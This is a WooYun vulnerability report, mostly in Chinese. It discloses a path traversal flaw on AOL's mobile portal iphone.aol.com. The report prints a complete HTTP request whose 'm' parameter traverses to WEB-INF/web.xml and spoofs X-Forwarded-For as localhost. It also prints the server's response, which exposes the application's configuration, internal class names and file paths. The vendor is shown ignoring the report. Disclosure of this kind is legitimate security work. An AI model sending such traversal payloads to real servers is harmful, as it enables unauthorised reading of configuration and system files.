当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0103734

漏洞标题:arbitrary file retrieval of an aol`s website

相关厂商:aol.com

漏洞作者: 路人甲

提交时间:2015-03-25 19:51

修复时间:2015-03-30 19:52

公开时间:2015-03-30 19:52

漏洞类型:系统/服务运维配置不当

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-25: 细节已通知厂商并且等待厂商处理中
2015-03-30: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

详细说明:

mobile portal of aol --iphone.aol.com
proof of concept:

GET /ajax.jsp?m=..%2f..%2fWEB-INF%2fweb.xml%3bx%3d&p=dynamicleadslide&vbclass=vid_over&ajax=1&sitHot=null&offset=0&slot=dynamiclead&vcslot=dynamiclead-video-config&dlItem=633100&dlug=false&cv=6&_c=main5 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US)
Accept: text/html, */*; q=0.01
Accept-Language: en-us,en;q=0.8,en-us,en;q=0.5
Aolcom-Ajax: 1
X-Requested-With: XMLHttpRequest
Cache-Control: no-cache
X-Forwarded-For: 127.0.0.1
Host: iphone.aol.com
Accept-Encoding: gzip, deflate


web.xml retrieved:

HTTP/1.1 200 OK
Date: Wed, 22 Mar 2015
Set-Cookie: RSP_CHECK_PORTAL_STARTPAGE.AOL.COM=deleted; expires=Thu Jan 01 00:17:51 1970 GMT; path=/; domain=iphone.aol.com
Set-Cookie: RSP_CHECK_PORTAL_STARTPAGE.AOL.COM=deleted; expires=Thu Jan 01 00:17:51 1970 GMT; path=/
Set-Cookie: RSP_CHECK_PORTAL_STARTPAGE.AOL.COM=deleted; expires=Thu Jan 01 00:17:51 1970 GMT; path=/; domain=aol.com
Pragma: no-cache
Cache-Control: no-cache, no-store, private, max-age=0
Expires: 0
ModPagespeedDisableFilters: rewrite_javascript,inline_css
ModPagespeed: on
Content-Type: text/javascript;charset=UTF-8
ntCoent-Length: 3506
Set-Cookie: JSESSIONID=16DABAA250AA22B57E02F9BAE2D18EC7; Path=/aol
Content-Length: 3506
<?xml version="1.0" encoding="UTF-8"?>
<web-app id="WebApp_ID" version="2.4" xmlns="http://java.sun.com/xml/ns/j2ee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd">
<display-name>portal5</display-name>
<listener>
<listener-class>
com.aol.pubt.forc.util.ContextListener
</listener-class>
</listener>
<listener>
<listener-class>
net.sourceforge.wurfl.core.web.WURFLServletContextListener
</listener-class>
</listener>
<listener>
<listener-class>
com.aol.portals.core.ContextListener
</listener-class>
</listener>
<context-param>
<param-name>wurfl</param-name>
<param-value>/data/servers/portal_fe_wurfl/wurfl.zip</param-value>
</context-param>
<context-param>
<param-name>wurflPatch</param-name>
<param-value>/data/servers/portal_fe_wurfl/wurfl_patch.xml</param-value>
</context-param>
<filter>
<filter-name>VL6Filter</filter-name>
<filter-class>com.aol.portals.core.utils.VL6Filter</filter-class>
</filter>
<filter-mapping>
<filter-name>VL6Filter</filter-name>
<url-pattern>/*</url-pattern>
<dispatcher>FORWARD</dispatcher>
</filter-mapping>
<filter>
<filter-name>CMSFEPreviewFilter</filter-name>
<filter-class>com.aol.pubt.dynapubcms.CMSFEPreviewFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>CMSFEPreviewFilter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
<filter>
<filter-name>DataLayerTracking</filter-name>
<filter-class>com.aol.portals.aol.TrackingModuleDataFilter</filter-class>
</filter>
.......
.......
.....


漏洞证明:

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-03-30 19:52

厂商回复:

最新状态:

暂无